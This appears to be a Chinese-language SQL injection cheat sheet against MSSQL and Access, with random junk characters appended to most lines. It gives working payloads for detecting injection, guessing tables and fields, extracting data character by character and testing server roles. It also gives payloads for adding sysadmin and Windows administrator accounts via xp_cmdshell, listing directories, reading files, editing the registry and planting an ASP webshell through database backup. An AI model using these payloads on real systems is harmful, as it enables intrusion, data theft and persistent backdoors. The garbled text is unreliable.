1.判断是否有注入;and 1=1 ;and 1=2 }lXor~_i
2.初步判断是否是mssql ;and user>0 j]U~ZAn,K
W7c
B
3.注入参数是字符'and [查询条件] and ''=' VN0KK
1I
oWx^_wQ-=
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Av0(zA2
Rt7l`|g a+
5.判断数据库系统 9f/l"
Z&4L///
;and (select count(*) from sysobjects)>0 mssql ;<*USS6X
III:jhh
;and (select count(*) from msysobjects)>0 access ">M&/}4
IEd?-L
8;"9A
H]W'mm
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Ct^=j@g
?LJiFG]^m
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 x+TdTe;p
4 aE{}jp1
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 F vTswM>
WFzM s
9.(1)猜字段的ascii值(access) q{%~(A5*H
5i}g$yjZ<
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 upaQoX/C
;<GK{8
(2)猜字段的ascii值(mssql) {>PEl;,-
B873UN
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 @LFB}B
XwfR/4
10.测试权限结构(mssql) AyW=.
|26[=_[q
h:|BQC
:0ltq><?
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ll[&O4.F
cq 5^7.
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- yJ`{\7Uqg
y>:U&P^
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ^O=G%de
cs_
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- M6 8foeeN
7<=p*
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- `Kn+d~S4
"',;pGg|K
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 7KGb2V< t
]jPP]Z:y
;and 1=(select IS_MEMBER('db_owner'));-- eh>FYx(
S
0~+*$W
B'mUDW8\D
Q^=0p0
11.添加mssql和系统的帐户 6nJQP a
*YX5bpR?
;exec master.dbo.sp_addlogin username;-- #z70:-`.[M
;exec master.dbo.sp_password null,username,password;--
/fLm
)vN
FhPCFmmUT
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- p-lFzNPc0
]d~{8h!G
;exec master.dbo.xp_cmdshell 'net user username password DUH DFG
;;m;f^]}
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- DSWmQQ
?Ok&,\F@E
;exec master.dbo.xp_cmdshell 'net user username password /add';-- {-MjsBR
fFoZ!H
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- `KE]RTq
m>F:dI
C@[U:\
*z#du*f[
12.(1)遍历目录 xG(iSuz
UCkV;//.
;create table dirs(paths varchar(100), id int) \{!,a
KK5_;<
;insert dirs exec master.dbo.xp_dirtree 'c:\' -"{g kjuv
,%BDBZ
;and (select top 1 paths from dirs)>0 ]T&d_~l
_~D#?cFY6
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) #6~Bg)7AM
=9`UcTSi6p
(2QfH$HEk
>qOj^WO~
(2)遍历目录 w (z=xO
(+cZP&o
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- NZ0 ?0*
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 \t/0Yh-'
e*}GQ
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 W'f"kM
4e;$+!dlV
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 %3|/t-US
Ww\ WuaY
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 }N ).$
TI<3>R
n)Cr<^j
7-Oa34ba+
13.mssql中的存储过程 aG]^8`~>'
}%jpqip
xp_regenumvalues 注册表根键, 子键 1X`,7B@pz
bq8Wvlv04
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 >M!LC
Jw&Fox7p
xp_regread 根键,子键,键值名 Ziub%C[oV
(fr=N5
;exec xp_regread C@Go]*c
,FH1yJ;Y&
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 u??ti
OK{
!4FOX>|L@
xp_regwrite 根键,子键, 值名, 值类型, 值 nT+ZSr
D`mr>-Y
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 -meY[!"X
/3tErc'
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 c#`IF6qj
5o>*a>27,A
xp_regdeletevalue 根键,子键,值名 vF pKkS343
7jQVm{{.
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 .pdcwd9
#$W0%7
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 l
9g
'RF`XX
@V:Y%#%
z}.6yHS
14.mssql的backup创建webshell ~:U`^wtQ
-Ah&|!/
use model \=[j9'N>
p >ua{}!L
create table cmd(str image); C984Ee
'6e4rn{
insert into cmd(str) values (''); )G?\{n-
Y'bz>@1(
backup database model to disk='c:\l.asp'; MP<]-M'|<
j;V\~[I^u
sLJ]N0t
/V`SJ"
15.mssql内置函数 `-{? !
:dRC$?f4
;and (select @@version)>0 获得Windows的版本号 E
i>GhvRM
WiB~sIp
;and user_name()='dbo' 判断当前系统的连接用户是不是sa d!}oS<6
6OAEAIh
;and (select user_name())>0 爆当前系统的连接用户 B:0oT
g6P^ JW}.
;and (select db_name())>0 得到当前连接的数据库 {^(uoB C/
TF5jTpGq
o|y_j49
Zlh 2qq
16.简洁的webshell C& XPn;f
S@S4<R1{\
use model ys>n%24qP
bKK'U4
create table cmd(str image); /Z!$bD
5/i/.
0?n
insert into cmd(str) values (''); w0Ex}
~Dz:n]Vk/
backup database model to disk='g:\wwwtest\l.asp';